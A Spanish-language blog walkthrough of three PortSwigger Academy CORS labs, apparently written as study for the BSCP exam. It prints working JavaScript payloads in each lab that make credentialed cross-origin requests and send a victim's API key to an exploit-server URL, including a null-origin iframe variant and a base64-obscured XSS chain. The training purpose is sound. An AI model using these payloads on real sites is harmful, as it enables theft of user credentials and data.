PortSwigger Academy – Laboratorios Cross-Origin Resource Sharing (CORS)

¡Hola a todos! Aquí estamos de nuevo y esta vez seguimos preparando la certificación Burp Suite Certified Professional (BSCP), que proporciona una base muy buena de cara a auditorías web y gestión de la presión, sobre todo en el examen para el cual te proporcionan 4 horas y hay que explotar hasta 6 vulnerabilidades. Además, se trata de un examen muy barato (<100€) lo que la hace sumamente atractiva.

Antes de nada, recordad que PortSwigger nos permite probar 30 días su versión profesional de Burp Suite. Os recomendamos que activéis esta versión para poder probar todas las funcionalidades de la herramienta.

En esta entrada explicaremos y solucionaremos todos los laboratorios adicionales relativos a Cross-Origin Resource Sharing (CORS). Hay muchos walkthroughs sobre cómo resolver estos laboratorios, pero exponerlos aquí nos sirve para afianzar conceptos y enseñaros además algunos trucos de uso de Burp Suite Professional, así como comentar veces que hemos visto las vulnerabilidades estudiadas en los laboratorios en la vida real. Sin más dilación, ¡comenzamos!

Las vulnerabilidades asociadas a CORS son muy prevalentes, en gran medida porque los desarrolladores desconocen su funcionamiento. Normalmente, no suelen tener graves consecuencias ya que por defecto y a menos que se especifique lo contrario, no se envían credenciales. Sin embargo, no es raro encontrar instancias vulnerables a ataques autenticados.

Lab1 (Apprentice) – CORS vulnerability with basic origin reflection

Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.

En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, craft some JavaScript that uses CORS to retrieve the administrator’s API key and upload the code to your exploit server. The lab is solved when you successfully submit the administrator’s API key.». En este laboratorio debemos identificar una vulnerabilidad de Cross-Site Resource Sharing (CORS) para exfiltrar la API Key del administrador.

Accedemos a la aplicación como «wiener:peter» y nos fijamos en la petición realizada a «/accountDetails». Como vemos, parece ser una API que devuelve datos JSON. Sin embargo, es posible indicarle a dicha petición una cabecera «Origin» que se ve reflejada en la respuesta como origen permitido. Asimismo, existe la cabecera «Access-Control-Allow-Credentials» con valor a «true». Por tanto, podemos forjar peticiones autenticadas a dicha API desde un sitio web controlado por nosotros si la víctima tiene la sesión iniciada.

La solución o exploit es muy sencilla, dado que únicamente necesitamos un código Javascript que acceda a la API que hemos visto e incrustarlo en nuestra web indicando la cabecera «Origin» como nuestro subdominio. Gracias a la reflectividad de la cabecera, lograremos que la víctima haga una petición autenticada y que podamos acceder a la respuesta:

<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://0aae0080034c3a2293909321005b0014.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();

function reqListener() {
	location='//exploit-0ad8007d03003a4e932192d9019c00b3.exploit-server.net/log?key='+this.responseText;
};
</script>

Almacenamos el script anterior en el «Exploit Server», se lo enviamos a la víctima y accedemos a los access logs:

Como vemos, obtenemos la respuesta completa como era esperable y, en ella, la API Key pedida. Simplemente indicándola como solución resolvemos el laboratorio.

Lab2 (Apprentice) – CORS vulnerability with trusted null origin

Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.

En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, craft some JavaScript that uses CORS to retrieve the administrator’s API key and upload the code to your exploit server. The lab is solved when you successfully submit the administrator’s API key.«. En este laboratorio debemos identificar una vulnerabilidad de Cross-Site Resource Sharing (CORS) para exfiltrar la API Key del administrador.

Accedemos a la aplicación como «wiener:peter» y nos fijamos en la petición realizada a «/accountDetails». Como vemos, parece ser una API que devuelve datos JSON. Sin embargo, es posible indicarle a dicha petición una cabecera «Origin» con valor nulo. Asimismo, existe la cabecera «Access-Control-Allow-Credentials» con valor a «true». Por tanto, podemos forjar peticiones autenticadas a dicha API desde un sitio web controlado por nosotros si la víctima tiene la sesión iniciada.

Siguiendo el mismo enfoque en el laboratorio anterior, la solución es sencilla y pasa por generar un script que realice una petición con la cabecera Origin a «null» y lea la respuesta. Para asegurarnos de que la cabecera Origin se pone a null, podemos incluir nuestro script en un iframe:

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://0afe005404b3f350805403e300d30047.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();

function reqListener() {
location='https://exploit-0ad000a704b5f31480d002b5012400a4.exploit-server.net/log?key='+this.responseText;
};
</script>"></iframe>

Guardamos el contenido en el «Exploit Server», enviamos a la víctima y obtenemos la API Key:

Finalmente, solo queda incluirla como respuesta al laboratorio.

Lab3 (Practicioner) – CORS vulnerability with trusted insecure protocols

Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.

En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, craft some JavaScript that uses CORS to retrieve the administrator’s API key and upload the code to your exploit server. The lab is solved when you successfully submit the administrator’s API key.«. En este laboratorio debemos identificar una vulnerabilidad de Cross-Site Resource Sharing (CORS) para exfiltrar la API Key del administrador.

Al igual que en los laboratorios anteriores, comenzamos confirmando que la petición para obtener datos de la API Key es vulnerable a CORS. Además, vemos que si incluimos como origen el mismo subdominio pero en formato HTTP, se refleja en la respuesta:

Como conclusión de lo anterior, si encontramos que la web http://0a9e00f104307cd680cd129000760041.web-security-academy.net tiene alguna vulnerabilidad que nos permita ejecutar Javascript, habremos resuelto el laboratorio. Nos fijamos pues en el testeo de stock disponible en la web. Si lo lanzamos, veremos que se abre una ventana y una petición HTTP a «http://stock.0a9e00f104307cd680cd129000760041.web-security-academy.net/?productId=1&storeId=1». Probamos a incluir un payload de Cross-Site Scripting básico en el parámetro «productId»:

http://stock.0a9e00f104307cd680cd129000760041.web-security-academy.net/?productId=<script>alert(1)</script>&storeId=1

Vemos que es vulnerable y, por tanto, simplemente debemos incluir el código malicioso para la explotación de CORS como parte del payload XSS:

http://stock.0a9e00f104307cd680cd129000760041.web-security-academy.net/?productId=<script>var+req+%3d+new+XMLHttpRequest()%3breq.onload+%3d+reqListener%3breq.open('get','https%3a//0a9e00f104307cd680cd129000760041.web-security-academy.net/accountDetails',true)%3breq.withCredentials+%3d+true%3breq.send()%3bfunction+reqListener()+{location%3d'//exploit-0a34004504ca7c6380351187019b00e0.exploit-server.net/log%3fkey%3d'%2bthis.responseText%3b}%3b</script>&storeId=1

Si conseguimos que la víctima acceda a esa URL, habremos conseguido su API Key. Por tanto, hosteamos el siguiente script simple el «Exploit Server». Lo hacemos en base64 para evitar problemas con las comillas.

<script>
window.location.href = atob("aHR0cDovL3N0b2NrLjBhOWUwMGYxMDQzMDdjZDY4MGNkMTI5MDAwNzYwMDQxLndlYi1zZWN1cml0eS1hY2FkZW15Lm5ldC8/cHJvZHVjdElkPTxzY3JpcHQ+dmFyK3JlcSslM2QrbmV3K1hNTEh0dHBSZXF1ZXN0KCklM2JyZXEub25sb2FkKyUzZCtyZXFMaXN0ZW5lciUzYnJlcS5vcGVuKCdnZXQnLCdodHRwcyUzYS8vMGE5ZTAwZjEwNDMwN2NkNjgwY2QxMjkwMDA3NjAwNDEud2ViLXNlY3VyaXR5LWFjYWRlbXkubmV0L2FjY291bnREZXRhaWxzJyx0cnVlKSUzYnJlcS53aXRoQ3JlZGVudGlhbHMrJTNkK3RydWUlM2JyZXEuc2VuZCgpJTNiZnVuY3Rpb24rcmVxTGlzdGVuZXIoKSt7bG9jYXRpb24lM2QnLy9leHBsb2l0LTBhMzQwMDQ1MDRjYTdjNjM4MDM1MTE4NzAxOWIwMGUwLmV4cGxvaXQtc2VydmVyLm5ldC9sb2clM2ZrZXklM2QnJTJidGhpcy5yZXNwb25zZVRleHQlM2J9JTNiPC9zY3JpcHQ+JnN0b3JlSWQ9MQ==")
</script>

Simplemente enviándole a la víctima el exploit, obtenemos su API Key que podemos dar como solución al laboratorio.

~km0xu95

Comments are closed.